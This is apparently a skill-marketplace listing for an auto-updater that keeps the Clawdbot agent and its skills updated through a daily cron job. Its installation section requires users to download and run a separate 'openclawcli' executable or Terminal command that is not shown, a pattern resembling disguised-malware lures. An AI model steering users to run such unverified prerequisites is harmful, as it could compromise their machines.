auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Why use this skill?
Keep your Clawdbot agent and all installed skills updated automatically with daily checks and detailed summaries. Ensure peak performance and security.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/updaterWhat This Skill Does
The auto-updater skill is a maintenance-focused automation tool designed to keep your Clawdbot environment and its ecosystem of skills in a state of continuous improvement. By leveraging the power of cron jobs, this skill automates the otherwise manual process of checking for, downloading, and installing updates for your core Clawdbot installation as well as every individual skill managed by clawdhub. By ensuring you are always on the latest version, you benefit from the newest features, critical security patches, and performance optimizations without needing to remember to run maintenance commands yourself. The skill integrates directly with the openclawcli utility to perform these background updates safely and sends a concise, formatted summary to your primary communication channel once the process concludes.
Installation
Installation of the auto-updater is straightforward, but it requires that your system environment is properly prepared first. You must ensure that the openclawcli utility is installed and currently running on your machine. For Windows users, this involves downloading the specified zip release and running the executable; for macOS users, running the provided installation command in your Terminal is required. Once openclawcli is verified, you can initialize the skill by using the primary setup command, which will configure the daily cron schedule, or by manually executing the clawdbot cron add command to tailor the exact time and timezone for your updates. Ensure your environment has the necessary permissions to execute global updates.
Use Cases
This skill is ideal for power users who want a "set it and forget it" experience with their AI agent. It is particularly useful for production-grade Clawdbot deployments where maintaining consistent software versions across all installed skills is critical to system stability. Additionally, it serves as an excellent tool for developers who maintain a large library of custom skills and want to ensure they receive upstream patches to their dependencies automatically without manual overhead.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills to ensure I never miss a patch."
- "Update my skills right now and tell me exactly which versions were changed."
- "Check if there are any new updates available for my current skills without actually applying them yet."
Tips & Limitations
To ensure maximum reliability, always run the clawdbot doctor command if you experience issues after an automated update, as this applies necessary database or configuration migrations. Note that the skill relies heavily on the stability of the openclawcli background process; if this service is stopped, your scheduled updates will not trigger. It is recommended to schedule these updates during off-peak hours to avoid potential interruptions to your daily workflow, such as the 4:00 AM default time.
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{
"plugins": {
"official-hightower6eu-updater": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, code-execution
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